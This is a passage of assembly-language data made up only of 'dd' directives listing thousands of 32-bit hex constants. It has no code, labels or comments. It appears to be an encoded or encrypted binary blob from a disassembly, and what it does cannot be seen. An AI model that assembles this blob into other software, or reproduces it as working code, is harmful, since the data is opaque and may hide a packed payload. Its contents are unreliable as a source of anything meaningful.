		dd 8174F878h, 4814F1A4h, 76F2E961h, 295B0B40h, 8F503C38h
		dd 18304227h, 2E9D61A0h, 0A6265FE9h, 785D594Bh,	0D22501A7h
		dd 0F749F20Dh, 4ECC0220h, 0D873DDB4h, 362853CBh, 3727959Ah
		dd 0A8C94638h, 802D2C15h, 0C1EFCB28h, 0A03BAC1Eh, 31823B07h
		dd 4EEAA4B4h, 56E45374h, 0F9A5E54Ah, 0EAFEB1h, 46929354h
		dd 0C0516D82h, 3D57F437h, 3905343Dh, 8666C63Bh,	5113DFF2h
		dd 6DB5478Fh, 0E420B042h, 8B03486Ah, 0DD257E1Eh, 0D0C68053h
		dd 2937CF6Ah, 404FCE5Ch, 1ED25908h, 24E9B1A4h, 872DF142h
		dd 425A66D6h, 928328BAh, 0DF051580h, 3A2A06EDh,	0BEE056C1h
		dd 68C80F00h, 51326A25h, 0A0ED8812h, 2C7D7230h,	82495B88h
		dd 0BA5C835Ah, 11F66616h, 0A5F684h, 0C8FEECB0h,	4B807B2Ch
		dd 9EEBE27Ch, 5454ECD3h, 350460D6h, 4DF25562h, 5E05046Dh
		dd 0B312EA68h, 1C61497Eh, 0E6E58F59h, 0C1682F99h, 688BDD4Dh
		dd 3E79FB29h, 3B9E7B80h, 0E9DEF74Eh, 0B24DAD24h, 0EC956144h
		dd 0EF025CB3h, 493F0C01h, 0C7E085D7h, 25FC0813h, 4374E985h
		dd 72C4809Fh, 2E0F064Ch, 7C12C8EAh, 0F33BD3BDh,	0FE5C2D95h
		dd 68165A58h, 0E9F3CD80h, 46876431h, 0D95A12ECh, 392C7C41h
		dd 8B3015DDh, 5F91D2Dh,	2837024Eh, 1CE22EBFh, 0F6801748h
		dd 0EE5841B0h, 74514D2h, 0AA2DDE8Fh, 0B5243AB8h, 0DF300B0Eh
		dd 0E699802h, 62CB6071h, 33732D13h, 0BB80F179h,	700F27F7h
		dd 51C620E9h, 52A35B4Bh, 9792292Dh, 0BFA494FEh,	27525693h
		dd 9F9DCE52h, 262D792Dh, 89CB8E4h, 4CE018Bh, 0CFA83809h
		dd 0E6D15F09h, 4D04CD74h, 21F12C0Fh, 1EF0D2E1h,	0F0E912A1h
		dd 68FF3032h, 3C923B8Ch, 7A0C9A4Dh, 790E8117h, 0A0533DC2h
		dd 17BF57FAh, 25FE2822h, 701E0AFBh, 7F94994h, 11659C20h
		dd 35E050E9h, 666BF1FDh, 50AF2D15h, 0C5860D14h,	3F08D0F6h
		dd 4FF52F80h, 59E82B28h, 0E95004A9h, 5CE2A085h,	0B8E7801Eh
		dd 0E36A4E5Fh, 60DEB33h, 5887DACAh, 3CB7730Bh, 3F96FA28h
		dd 2D77BD4Bh, 6157EA5Dh, 0CC3AD56Eh, 18418DF9h,	4F6A0521h
		dd 0FF895FEAh, 595BE978h, 0FE104A8Bh, 3C584C01h, 35DB17DFh
		dd 744F9522h, 0FC6E650Dh, 79A8B57Ch, 0CF4F9449h, 77864541h
		dd 9FE91531h, 0C4FE1BFEh, 0B3F47960h, 0B268088Dh, 613D4AADh
		dd 9B28A224h, 0B6E6255Ah, 0ACED0980h, 0B397E55h, 515CEEDDh
		dd 6A4D5E6Bh, 2D200340h, 5CD2978h, 0B21164BFh, 0E8211EF3h
		dd 2CB723A5h, 7E0EBAC0h, 30DAA017h, 7E06A6EAh, 5A50D028h
		dd 0E95A04FEh, 0EF526C98h, 5562982Ah, 64CB5B40h, 0B2C3B536h
		dd 98097684h, 0D87EC808h, 288480B9h, 5AC7A66Eh,	585FF654h
		dd 7E4B2610h, 123998C0h, 0D6870D29h, 2108DAF7h,	91E1DE84h
		dd 0F6BE000Bh, 62D2D51h, 0FF16E18Bh, 1F22E912h,	8AD615A8h
		dd 6FA9457Bh, 90FACA28h, 3D0A243Fh, 44005B1Bh, 109D6850h
		dd 587278h, 0E16F230Dh,	4FA40534h, 86986379h, 30A98F58h
		dd 7D5EEE3Bh, 0E91509BFh, 5F76AF10h, 491949EEh,	1EA7C90h
		dd 3205D829h, 5C295A9Dh, 0B6A3946Ah, 2DD81392h,	380B8395h
		dd 3C1371EBh, 0F8328A12h, 85358006h, 0B826AD2Fh, 55050162h
		dd 51770ABDh, 8745206Fh, 89DC3F0Bh, 1578522Dh, 0B239A0E9h
		dd 1752FC84h, 9421A7A0h, 9EC1098Eh, 0C3FCCD44h,	625B6298h
		dd 8145B401h, 9E3CD7F5h, 3CB3874Bh, 3C5EE940h, 781DE516h
		dd 0D12DB3ECh, 52AC2E0h, 8349C7DCh, 2D5BFD8Bh, 43E55412h
		dd 6EAE984h, 2A020FA3h,	3158FA20h, 0EE2BB0C0h, 0DB897BB4h
		dd 0E4485630h, 0C9DAB803h, 0E02A7802h, 0C676CAF8h, 0CA0CA816h
		dd 47E9282Ch, 0B45D3C93h, 0B551AE13h, 0E3CD9D05h, 53C66E82h
		dd 0A776A414h, 0A2EB6D59h, 5CFA7A15h, 4F9297D5h, 0EE8457D5h
		dd 807ED816h, 2FDD1B4Fh, 0DD2B1D31h, 48039A2h, 2FDECEB3h
		dd 17733EF8h, 0B42C8BE8h, 0BA1C5261h, 1B401986h, 0B2E28142h
		dd 15942F4Bh, 526AC6C8h, 0DD981683h, 4F22F3FBh,	2DC50DB2h
		dd 0B88F40C3h, 5F25084Eh, 0B6B9D3B0h, 0CDBF8C49h, 36EB02BBh
		dd 0DBF778C1h, 0E69AF3D4h, 780E7F15h, 7A48FC0Bh, 431D0CEEh
		dd 5D5289E3h, 1DCBCBB4h, 8167B10Ah, 916FC1CEh, 1B472A19h
		dd 6B201A2Bh, 0B4C266E9h, 845C44CCh, 0D0B40BB2h, 58245E58h
		dd 860B4050h, 0F0EE52B8h, 71AB2E66h, 58B3320Ah,	8160B37Eh
		dd 0F441BFC6h, 9CA9A10Bh, 0F82AEEC0h, 33A116CAh, 0F2DD00FDh
		dd 6B39BC8Ah, 312D82BDh, 0FB47F0h, 7445BE56h, 12B3626Eh
		dd 0D468013Eh, 5E673861h, 7A6D182Bh, 2118DDD8h,	793A56AEh
		dd 15957D0Fh, 0C5ACD5E9h, 5C086800h, 55867E1h, 0B2241CEAh
		dd 82257CE6h, 0E02AB024h, 3E28B4DEh, 0C59753C6h, 183944F7h
		dd 20B15226h, 775AB0A5h, 9D51E924h, 83E538BEh, 9570466Ch
		dd 39C09440h, 27F609C8h, 466531CBh, 0A3AC74A6h,	3E97F327h
		dd 4A68E704h, 0CA139147h
		dd 0DA422AA6h, 40970BFEh, 0B73FCEC3h, 0D82716E5h, 20230475h
		dd 0F25F41DAh, 2E344B64h, 0C8BE66C1h, 78E668D0h, 88849411h
		dd 8F259AA5h, 0FCC6046Eh, 76C886A5h, 0C12B091Dh, 550107E3h
		dd 56B908E9h, 5701DE80h, 683CA65Bh, 0BF896C53h,	0B1B00E1Ah
		dd 7D8A49E1h, 6DB68C00h, 5D61449Eh, 0C57AAE0Eh,	0EF11AD41h
		dd 295F9C2Ah, 2424C75Ah, 402049B1h, 4AD7F02Fh, 0A961E450h
		dd 8230415Bh, 96F4482h,	1E39E965h, 0E74804F6h, 1B0BD282h
		dd 42BDDC09h, 924CF010h, 15928FF2h, 5BF93009h, 4AC4F880h
		dd 25908091h, 74012B7Dh, 7BB0508h, 846FFD31h, 0E81EAB88h
		dd 292BEC42h, 0C02C1FAh, 6302BF01h, 75615AD0h, 8404D164h
		dd 44BD1C2Fh, 0AB58E748h, 0C14BA20Ah, 9928041Dh, 493FB712h
		dd 56BC51C0h, 490A4C2Ch, 0E972A44Ah, 9BB1E1FAh,	50807CA4h
		dd 35716857h, 5F5102A0h, 0F9E9F787h, 2C3B6FF6h,	0CD036AD5h
		dd 0EA79D02Eh, 939DF84Ch, 0AAE9E2BBh, 0F61DCFDEh, 5552C9ADh
		dd 0CF403976h, 0A45B57Bh, 71278F1Dh, 0DCE9E2C0h, 0E6969DD6h
		dd 710B5B6h, 0D80113F2h, 106D5C05h, 4C231E88h, 89DFD8CFh
		dd 12762EE2h, 0EC80F060h, 8892B022h, 1333BEE5h,	404A451Eh
		dd 1B91F6ABh, 0CC12C44h, 77167B21h, 55AB730h, 0E96D060Ch
		dd 0B951921Eh, 23CFB5C0h, 909CBCF4h, 981A292Ch,	0D69A5F5Ah
		dd 8B5D09F5h, 0DA265E89h, 47CA8419h, 0B8506B61h, 7394F98h
		dd 0A0888D81h, 812E2649h, 259B763Fh, 0D964208Ch, 80AF00B5h
		dd 3B30E4C6h, 0C51D5AF5h, 0E9EB8511h, 70BAB132h, 5B7C669Ah
		dd 0A94EC37Ch, 58F417F4h, 0B7C0C065h, 86DFF690h, 0DA60D774h
		dd 0FE536608h, 0D301FE4Ch, 3D1BAC42h, 2F445CCFh, 95504411h
		dd 0A1658F8Fh, 7F3DBF39h, 0D5D245FDh, 4987C90h,	55D697Bh
		dd 0B62265C2h, 0F901C490h, 0C8BF0757h, 0D20C7208h, 58042894h
		dd 0D2A4EBF8h, 324252D7h, 0DBDE8D41h, 0D344C2CAh, 144ACCF8h
		dd 58563BA0h, 0C102A5AAh, 55694F5Ch, 8A024D6h, 0ABB35A4Ah
		dd 21C4512Dh, 3FD90C5Bh, 0BFC9C53Bh, 6A09E865h,	0FC6742FBh
		dd 2D1C21DCh, 6816F766h, 7CF321A7h, 0D269F101h,	20EFC116h
		dd 0DD9CC702h, 910312B2h, 5DAD8B3h, 0E178255h, 565D5401h
		dd 2FBEF9h, 3951BB5Ch, 73F43F01h, 0D10E409Ch, 0B883E6EAh
		dd 8ED2655h, 0B3221323h, 15E41393h, 18C49CBCh, 6D1D8288h
		dd 0C103A45Ah, 5A821483h, 260E0449h, 8403A079h,	0B82CBA68h
		dd 0E9D01721h, 0F4A4C565h, 97C24908h, 6008E5C1h, 17B83C4Bh
		dd 0A04D9074h, 0C90CCD0Dh, 1E2AC64Ch, 0EAFA03C0h, 1A8EE98Fh
		dd 51503A01h, 8745E868h, 0E7EE868h, 0D55A14C2h,	0D0D770AEh
		dd 6E63133Bh, 0B1487161h, 4DE13A69h, 2E76970h, 0E90F4A2Ch
		dd 0A5923FC9h, 0DF584774h, 0BBC082E5h, 3D2E546Ch, 0F681C35Ah
		dd 0E5DEAB9Fh, 0B2E3052Ah, 1EB152EAh, 0B03F13E7h, 0D39C5940h
		dd 2D1CBD60h, 966A650Bh, 0E9060018h, 32F91E71h,	0C1CF0150h
		dd 52EA08A3h, 5B02F558h, 0DDBCC405h, 2625DC4Dh,	0E0E893DBh
		dd 0E67A88A1h, 9E6031F0h, 3E2C07Bh, 67F22C80h, 0F22D19ADh
		dd 504F8249h, 82286AB0h, 293B95F4h, 47B74270h, 0C7D92D4Ah
		dd 1A6AAB85h, 9CFA205h,	683C3CABh, 5113B225h, 0B89AB432h
		dd 2BE0DE3Ah, 3522311Eh, 975605BEh, 51214017h, 33053CB9h
		dd 90543E7Eh, 0D909298Eh, 0EC11885Bh, 0CB96EA11h, 0BD00526Ch
		dd 168B0AD0h, 9CC063BDh, 12921981h, 9877668h, 9457A4C0h
		dd 64C1817Bh, 0F9F601D8h, 5A4D8262h, 4A99F396h,	0E912B8B3h
		dd 0B465614h, 38E2CC42h, 9C519CD5h, 60D1253Dh, 92D06C2h
		dd 0F32A31C0h, 0CA48969Ah, 3AF2007Eh, 0F7059C33h, 4EE973D2h
		dd 0D16E21A7h, 55E940EEh, 56055F3Bh, 4117E946h,	62C4CBA8h
		dd 4AC00D1h, 0FB75371h,	44F78072h, 0E2E9BC4h, 0D147CA51h
		dd 1143B981h, 0EDE96624h, 18F1E3ACh, 65B02D41h,	4097B22Fh
		dd 80F9BCD1h, 0BFEE5B54h, 0E28A0A95h, 2B17B10Fh, 81EA20E5h
		dd 93B0FF1h, 0C8293557h, 0C9402993h, 671393ACh,	2A0C316Ch
		dd 0A0C8C31Eh, 1FFEEB82h, 8939473Ah, 237E4A77h,	6FDA36BEh
		dd 5C1640F6h, 51575317h, 0C29ADEE2h, 3313125Ch,	37494E81h
		dd 95D4C204h, 0D2FC5409h, 1912F8Bh, 0D7A82CDEh,	0DA39A0D2h
		dd 5BD83038h, 231382D4h, 2C2A427Eh, 0CF0984BDh,	80861CCBh
		dd 693CE780h, 0F4585D36h, 0E92BCC4Bh, 51147532h, 0D21EE0DAh
		dd 13F52856h, 0AC6E54B5h, 10594F66h, 5F70EF04h,	0A1CC06D8h
		dd 0B70F2094h, 78FD300Dh, 82962636h, 0B4FC8910h, 595A5882h
		dd 1F4A416Ch, 0FD36D6D6h, 205A0D2Bh, 0D1F0F5FEh, 0C9F9151h
		dd 5889C8B1h, 839F0BB7h, 0D11E88D3h, 0B8F4505Dh, 0E9251882h
		dd 815F6FD5h, 1FE7EF01h, 0FA895E63h, 896E01E5h,	70306E25h
		dd 49468D1Dh, 0F60F754Eh, 23098EFEh, 6D31CA8Dh,	9A278Eh
		dd 0FDB0902h, 0FC702785h, 22208925h, 815CF9DDh,	0D402E962h
		dd 5C527C3h, 0C548022Dh, 36BA5539h, 9C100455h, 0A82517AEh
		dd 0EC87B2FDh, 9205A025h, 0B4D7483Dh, 1E3E1910h, 87B25068h
		dd 1C03507Ah, 0CF65ED80h, 0A86C76C2h, 0CC9D5421h, 0B88398D5h
		dd 0EAE5BCDCh, 0E3021760h, 43E909D9h, 0C15729Eh, 3A6C383Fh
		dd 650B760Ch, 7017B30h,	7C4B4810h, 0CA5C72B9h, 0EA89508h
		dd 3EFC166h, 9CFDA72Ah,	0FD42458h, 8A5D404h, 8E813749h
		dd 0ED5AC349h, 2830340Bh, 0C96206C7h, 0C606A171h, 308D9C7Ah
		dd 0F4E59F5Eh, 1F911D20h, 7D40D07Dh, 8927A0DDh,	313FD296h
		dd 6534A5E8h, 0C5A017DEh, 927AF84Ah, 0C4208E8Dh, 0D18688Bh
		dd 0B4AA641Dh, 585AC6EFh, 8FC19C4h, 5529A35Ah, 0C13B220Dh
		dd 43166852h, 85CB4D93h, 0B9B1907Bh, 36613835h,	2157790Ch
		dd 0BA0A3920h, 9C9D9AD5h, 5A5462A9h, 5CC5CCD3h,	85810A24h
		dd 758510E9h, 0AD0A4A68h, 0F5A697E5h, 34419912h, 0B6DAC276h
		dd 42C3D84Ah, 93520FD4h, 0DDF7E417h, 0C0DA2A7Bh, 528837F5h
		dd 0F028B45Bh, 0CD012998h, 6A40ED81h, 0EC30329Dh, 1BDA0FEAh
		dd 0B4FD688Fh, 0E90803BAh, 0E5241911h, 654F55EBh, 61520EFEh
		dd 0EEB0FC05h, 211761B7h, 5ECBF947h, 6809EF8Bh,	6AC51132h
		dd 0F0715E16h, 2801DBABh, 7B8231F0h, 0F988D581h, 0C4C45338h
		dd 920AE327h, 78E0A112h, 4A6E0BB9h, 648FD0E0h, 93D71D84h
		dd 0BC03EB47h, 1A38A4F3h, 6D0C0067h, 89414736h,	57005BDDh
		dd 930CEE68h, 964AE90Ah, 495E1305h, 294557Ch, 7D4AE482h
		dd 0C61A0B5Dh, 200992DEh, 6CB7B308h, 917F3456h,	0C54AB816h
		dd 0F361F828h, 356EC330h, 25300896h, 482560ACh,	58262E35h
		dd 0F600C3C8h, 0AC5A6207h, 0E8B8F501h, 5422E34Bh, 2221C145h
		dd 0A1934D2Ch, 0F7F9CCC1h, 1308D76Ch, 58C89F58h, 42D39337h
		dd 0CB299530h, 976EB559h, 0E93A3109h, 2E1B044Ch, 3BF85B09h
		dd 29F31A9Dh, 0D5EF878Ah, 813D3400h, 13DFB0CBh,	44B1C95h
		dd 0A8B16F0Dh, 6664C285h, 0E591C089h, 51AC090h,	4F931FB0h
		dd 780B01EAh, 0FE21255Fh, 0E7340B4Bh, 0E5C295CAh, 79EB9CF6h
		dd 17C4A6F0h, 0BB40245Bh, 0F2F87012h, 0C7A5C2A4h, 2849B400h
		dd 3FBFB0E7h, 4F7B252h,	0FA885AD7h, 0F10AF5Bh, 0FE14ACFh
		dd 0A035D242h, 0BD2DD8D6h, 9F492525h, 34BE7BD0h, 16C9BA50h
		dd 389C42h, 98646318h, 78BC0168h, 0F1BA0820h, 79028625h
		dd 9395BEC0h, 5873271Bh, 972008E2h, 0C9B52CFEh,	2E64D1F1h
		dd 1FD94B87h, 0A20ED779h
		dd 38FE8445h, 0C5830012h, 114946A4h, 17B242F8h,	0AF986662h
		dd 59AA7204h, 91513FDCh, 0F624136Fh, 0D4292431h, 83D67E8Dh
		dd 665C108Dh, 83BAD0B5h, 0F25A86E1h, 170A23F8h,	0F75DCBCAh
		dd 927F7D16h, 8AC08331h, 694C231h, 0B84A06D0h, 0F5E9160Eh
		dd 0A5B7EB44h, 0BD929C7h, 0C9E874B1h, 0A52C3900h, 9B57CE9h
		dd 818B59A9h, 0CF800BB7h, 46EFCC1Ah, 79D36814h,	0DFB6CFB5h
		dd 28A7F640h, 0D2B4E9F7h, 9722AB59h, 9296EB4Eh,	606C5577h
		dd 4102CAB5h, 476B1EADh, 3328C119h, 0A12B450h, 2D0058E3h
		dd 80C9FE95h, 26D860F1h, 0C63DE9DAh, 0F09D7792h, 25700BE4h
		dd 5F5BD801h, 7077E909h, 0AD662892h, 68D80A91h,	0BE631267h
		dd 419B2FF9h, 0C020B0FBh, 0E3E4EA4Ah, 570F40A8h, 65DCBF07h
		dd 0A1B244E8h, 0A62EFEC7h, 11361942h, 78422452h, 0DD30465Ah
		dd 64B712B2h, 249960Dh,	4402C183h, 0F870E107h, 0D0A95B29h
		dd 0C01E6611h, 0DF0C1D60h, 0BF775E06h, 2F2D9361h, 0D0946E94h
		dd 4E9537C1h, 0D641683Eh, 5660099Dh, 0F28FD16Fh, 0C9531E7h
		dd 682A9809h, 0CD2E4A07h, 6D4F6B37h, 1BE829E9h,	0A43CC128h
		dd 0D3B574h, 72B95143h,	8179364Eh, 1506E107h, 0A1697610h
		dd 31F00EDDh, 0B601B730h, 54534290h, 58C93054h,	0B0CE95B0h
		dd 0A68DE917h, 2705AEA9h, 0DC5FF84Fh, 435BEF23h, 2A6813DCh
		dd 26685986h, 0E50DD388h, 0B6B495A2h, 58C71748h, 4EE97B8Ch
		dd 0F8FC1649h, 8308D345h, 8DFC42ABh, 2F19DE09h,	68120394h
		dd 18F36F7Ah, 86628B07h, 29C3D351h, 0DB226916h,	7AD80EA3h
		dd 68005556h, 30A40D3Fh, 0CE8EC3E9h, 13D3AD30h,	0A4BAFCCBh
		dd 1754D016h, 70CD0476h, 1A807481h, 5E4E0135h, 75C6C107h
		dd 0F8B154E4h, 5840008Eh, 21CE8172h, 7869254Fh,	0B9CBC54Bh
		dd 60324981h, 2E0177D3h, 0F389A2B7h, 167E72E9h,	0F481BD13h
		dd 395EB880h, 26E9FA23h, 0A5B0D5AAh, 0F712AD90h, 8E5EC695h
		dd 959420DCh, 75E7095h,	3B2FDD25h, 0B1A7D45Bh, 686F6089h
		dd 980ECC2Dh, 254119AAh, 0FA5E4E9Dh, 5060698h, 83E73CD1h
		dd 8481011Fh, 0EF2C58A9h, 10429301h, 0D5F47F88h, 28FDE65Ah
		dd 0BC0BED81h, 0B5217E8h, 34522E8Eh, 482BF204h,	0DEC06279h
		dd 0E8BD5502h, 3F292E76h, 0F0051260h, 0D30B6D25h, 0E171E901h
		dd 0CC305A7Bh, 38CC9C25h, 9E7F55CCh, 0C131048Dh, 8014BB58h
		dd 392409B1h, 0F70F898h, 0C151FDEh, 95F001C9h, 0F783494h
		dd 0A0B0B8AFh, 808CA359h, 8117C2BFh, 0E8F8262Bh, 160A1450h
		dd 0A81CB25Fh, 5066562h, 3FED0A16h, 6FE6E91Ah, 5C2AA55Ah
		dd 0E304FF20h, 0FD014E7h, 4D1989BCh, 30906DA1h,	4F7B3BF1h
		dd 1BBB04FAh, 2903C92Fh, 0A6632B19h, 5DB71348h,	83412C1h
		dd 0E228C9D3h, 575EBE0Fh, 0ACF26461h, 176CBBC8h, 0C51E86F9h
		dd 1D16EB9Eh, 0F8D2F1ADh, 0FF66A124h, 0D8E4D6Eh, 58013C77h
		dd 149E1952h, 9DA6C293h, 0AC58A534h, 9DB100BDh,	0A872E668h
		dd 0B016B272h, 86130681h, 8D2F6D1h, 0C0EC8050h,	1167BE5h
		dd 1CAF0984h, 0C8FEC0Ch, 0C6CFBAE4h, 8552C0Fh, 0B9F4641Ch
		dd 68C22AB8h, 0D87E10F7h, 28315D69h, 33A2281Eh,	7B8AF228h
		dd 0D0823006h, 35AFCE5Dh, 9F6F072h, 8C52405Ah, 0F80EF01h
		dd 5BF51791h, 414076Fh,	0F1CC75BAh, 43263ED2h, 4A58B00Bh
		dd 0F15A74AFh, 80CB2A94h, 680B9C49h, 4366305Fh,	4BD068F9h
		dd 0A01270F6h, 0C4DCE898h, 259903B9h, 0FF40DC39h, 58041265h
		dd 4112AD45h, 1132F808h, 0A730063Eh, 0EB0AD35Ah, 0EC8488CBh
		dd 3906D264h, 7E98E95h,	5101BFC7h, 0DD62B36Fh, 0E32C1612h
		dd 0B3530700h, 2ED3F622h, 1C7BCBFEh, 0CFBDFA39h, 0F305DB3Ch
		dd 9053E9C2h, 69B70505h, 8744833Ah, 7F980837h, 2EE9F0D1h
		dd 0AC5801F7h, 0D828742Ch, 0C3F63851h, 1C93B3E9h, 0E5DF691h
		dd 0EEC73D02h, 0F2874074h, 0F74D8957h, 9F285F9Dh, 2F621635h
		dd 0C5120966h, 19D1ED6h, 0A0D5E98Bh, 0C456B939h, 7CAC7DC1h
		dd 1E72FCDh, 0D0242952h, 92121FEFh, 68450B5Eh, 0DC497CA9h
		dd 516E2010h, 2FB0F1B5h, 927A3036h, 4441B6FEh, 0FA1BC20h
		dd 423E4F34h, 0D55A9194h, 1C460006h, 81504766h,	7261C107h
		dd 0A06C7D94h, 933D30D6h, 0DB0EDC18h, 0CA890709h, 308EF659h
		dd 4C2DA73Ch, 4CB96C48h, 1E10767h, 4BF1670h, 62EF34CEh
		dd 994AD55Fh, 233E3BC1h, 71924C31h, 37596413h, 6C4B981Dh
		dd 817FF6F4h, 3A0297EFh, 6C807E40h, 673963C2h, 0C29F1A3Ch
		dd 34C00DA0h, 0FF732267h, 0EAF2014Eh, 0B15A56CCh, 69296A1Ch
		dd 6FB97C97h, 7C47E54Fh, 0F8731045h, 0FF174650h, 881B8104h
		dd 7814FD02h, 10BB00CFh, 89039D6Eh, 0D45B7BD8h,	0DC055A06h
		dd 0C655C627h, 880A27Ch, 0CCB2D8E9h, 7D0ECC9Fh,	0A5FA24CBh
		dd 5AD18B6Fh, 64C94ED4h, 0EF6648F6h, 6DE98706h,	5A7C3089h
		dd 0DE027AF1h, 5C76C680h, 0DDA4C6F3h, 7C12B080h, 4028B125h
		dd 81B0F6A3h, 72A52052h, 0F2DA8832h, 12D45474h,	0AEE004Ah
		dd 57283176h, 5CFAB4C0h, 0E8BF151Ah, 86A8515Ah,	17F6CB6Fh
		dd 70E08CE9h, 60380FBEh, 0E55C7F57h, 932908h, 790A6BC2h
		dd 62FF2142h, 0F15A2F82h, 0EBE9D06Ah, 0BDC28860h, 7AF52C19h
		dd 308F491Ah, 0F6E6624h, 15495EB2h, 0E0C079A9h,	737B5027h
		dd 3AF47E2Dh, 685A4858h, 0E6374E8Dh, 0AD531299h, 2712A013h
		dd 0F452EF49h, 0AF7F4FF0h, 2050E80Bh, 63BB5303h, 0F2210D54h
		dd 2F117C9Dh, 0E8299898h, 28C47B97h, 25299E9Fh,	0D38B10E5h
		dd 45B1E989h, 0E3022479h, 6851AC0h, 0FAE80401h,	0BEAA870h
		dd 505E3ED0h, 42C259E1h, 56D95B08h, 21FF6861h, 0BE1E352Bh
		dd 7FE9F347h, 97185B59h, 716095Eh, 2A02357Eh, 5D522532h
		dd 2BFAE399h, 1EF1EB4h,	857E588Eh, 0CC5FF931h, 682559C8h
		dd 0C0CCD6C3h, 5BF2253Ah, 0CB309490h, 8EEE3A6h,	808C6310h
		dd 73B8D3CEh, 0E9175769h, 0B9BCC09Ch, 6CEA5DA3h, 0BA94BBD0h
		dd 0F30CDB84h, 0C7C3DAC0h, 20CD3F95h, 653C035Ch, 67BF5A40h
		dd 5E1AAD8Fh, 9EFEEE29h, 0B3314C7Bh, 317C348Bh,	4FA07927h
		dd 0C8EADDC4h, 0D27FF7E6h, 427AECE9h, 0A3B954CAh, 0F1D90143h
		dd 0E5305929h, 8034C7FDh, 809CFC2h, 0AD4873F0h,	8CA54F36h
		dd 3898842Ah, 3324E954h, 52978FC2h, 5E36C209h, 95007286h
		dd 9E78C885h, 0E9D9891Fh, 21B3DB96h, 0A30EE413h, 66AA126Fh
		dd 0F6784E04h, 901EA4h,	2527D769h, 20C70E0Fh, 6308BB5h
		dd 824FA472h, 200BE4B2h, 4A908702h, 2D9CB748h, 8121E089h
		dd 921BDDE0h, 2993816Ah, 9F6720F2h, 74B72012h, 86E1F606h
		dd 0F90F9D1Ch, 0AF3DB104h, 0B57CC48Ch, 0F21E8DEAh, 85BA959Fh
		dd 0E19FE95Ch, 0D7C46BE1h, 46A8C882h, 4813983Ah, 938761B0h
		dd 31E84044h, 9245EF2h,	0F6008CD6h, 9A7E5B68h, 448949E9h
		dd 0F1F38717h, 0D881D104h, 6D056C28h, 0E21EE9A5h, 7FB29952h
		dd 9BFAA84h, 5BAE552Dh,	0C46ECBA7h, 2810AA10h, 25904807h
		dd 757130C1h, 63599E13h, 59102BAFh, 0F458A79Eh,	0B77D45Fh
		dd 885CAFC0h, 25A3C52Dh, 29E94C90h, 0B9A8A09Dh,	76EA1FDDh
		dd 82F6AA64h, 0B3ABC469h, 0F15C5A23h, 633671h, 6166B7B8h
		dd 5C28BF49h, 31044A46h, 0FD2958C7h, 0FEF2C401h, 727D6800h
		dd 2DE4455Dh, 0A3E25A95h, 77D5FE1Eh, 0C04273D3h, 80C7B30Eh
		dd 0C3E6EFCBh, 0A4A24CB8h, 51174A64h, 0C3A95954h, 5126E9A1h
		dd 0DCD2F69Ah, 56CACA51h
		dd 9A0B8458h, 4B2FC82Eh, 40DB1272h, 2A5CE121h, 60506E9Fh
		dd 0C45D8246h, 2F7E9075h, 96E490E1h, 0A3B25F50h, 752C39h
		dd 72F18149h, 0CE7B5D40h, 8BC6B0B6h, 0C001838h,	9DDF2B5h
		dd 185259CFh, 6D1F7968h, 71B6FD64h, 92FBBE0h, 13C1746h
		dd 9C4C24DFh, 0A000F716h, 215A4BA5h, 0BE8EE9F8h, 3F9E27C4h
		dd 4AAC10BCh, 0A8607425h, 0C2E44408h, 2B176209h, 5626004h
		dd 7E640B35h, 27D25E13h, 232568E8h, 0C4C5120h, 0B74084E4h
		dd 0FD88D217h, 0BDFB6605h, 0EEF74Bh, 0A146E56h,	0DFF7303Eh
		dd 1E3B59B8h, 0D6BCFCC9h, 2F272BCBh, 1C41B960h,	26EFC3C0h
		dd 0B542F832h, 805AECAh, 2614B65Bh, 0B80A8652h,	0F65AE940h
		dd 0A90596A1h, 5B5917ACh, 61AD9484h, 38C2E9B1h,	45D04F14h
		dd 61563CB8h, 0A9C84C6Ch, 0C0EAAD93h, 822460B2h, 54B5C71h
		dd 20FA9A26h, 0C365C8D6h, 28714C48h, 5B4A07F1h,	0F60CDFC9h
		dd 3A500F3h, 0BD553862h, 0E70447F1h, 2859E977h,	3F1A8BABh
		dd 179426D6h, 56F79EBBh, 0D61A3C0Bh, 29457A53h,	0BB20E3A0h
		dd 0EAC10BD9h, 69A0F702h, 0ACA01F0Eh, 7609AC90h, 8052544Bh
		dd 953F949Ah, 0EAEBEC1Ch, 0E8AF0459h, 805BDA09h, 9C5C9B93h
		dd 0C901717Fh, 3F5F7228h, 172AD9E9h, 0E4D9E57Dh, 0B7D3B897h
		dd 0A813D8E8h, 0B44C2838h, 0F4806B09h, 0B8B8553h, 0E34BEAECh
		dd 31054B90h, 28EC1362h, 0C65BBC98h, 322BC48h, 284AD7C1h
		dd 0E9D1F92Ah, 0C22EF13Eh, 3ED8B05Fh, 4F41820Dh, 0A0B82821h
		dd 5CD5B151h, 800B0CC0h, 2A04EAC9h, 0D236B4BBh,	46E64C12h
		dd 492F4BECh, 941CC05Ah, 0CB78A7Dh, 192D4571h, 802ED075h
		dd 1E983BAh, 8741CEEBh,	0ADA2BCD1h, 0B110081Dh,	8264C2A5h
		dd 0C8EE153Ah, 345FFE82h, 72CF101h, 81F55Dh, 0E7C059EFh
		dd 0F73E0579h, 33C71274h, 4F0FE8B0h, 0E27074CCh, 18B7D06Dh
		dd 0EE2DDA8Bh, 6A0B149Fh, 0D640B708h, 72AB59B6h, 0FC4AC0C4h
		dd 4D50C4C2h, 232BEF14h, 0C05A25ECh, 9D054040h,	15B88690h
		dd 0B5DD6082h, 30DF3D3Bh, 3B9A4990h, 0FC68165Ah, 0E2E7C6E8h
		dd 937F8E92h, 40E79AFEh, 6BC595h, 0E2C167EEh, 20F28103h
		dd 3FE55D16h, 633E05ECh, 14F63CA5h, 1EC48945h, 518B6DB2h
		dd 0A434204h, 1508D229h, 97E281F6h, 9C69542Ch, 45270154h
		dd 66E984B3h, 0C9A7B8A7h, 9BB2EB6h, 0E444DCC3h,	33680205h
		dd 610CDC58h, 0EBE73021h, 0E879FE9Ah, 28897208h, 68D645Fh
		dd 0D05EB82Dh, 14307C85h, 11EAD6E1h, 88BD515Eh,	34F1A8D9h
		dd 42DA142Ah, 0EEC6D230h, 0EC5BC81Dh, 0ADB86C57h, 0C451AD4Ah
		dd 5330435Ah, 9C25E955h, 0D6716AE3h, 12611DF0h,	836D1464h
		dd 5E15FC40h, 0A27BC7EDh, 94F5B5EBh, 37062006h,	8859BCA0h
		dd 0FA06CC6Dh, 40606842h, 1E500471h, 8184B551h,	0A0E902EDh
		dd 935D2E0Ah, 0DB524DD7h, 52692101h, 0EED81AB6h, 41A9FCEFh
		dd 9EC23A02h, 62C94229h, 50CC5F04h, 24449B1h, 72A6A59h
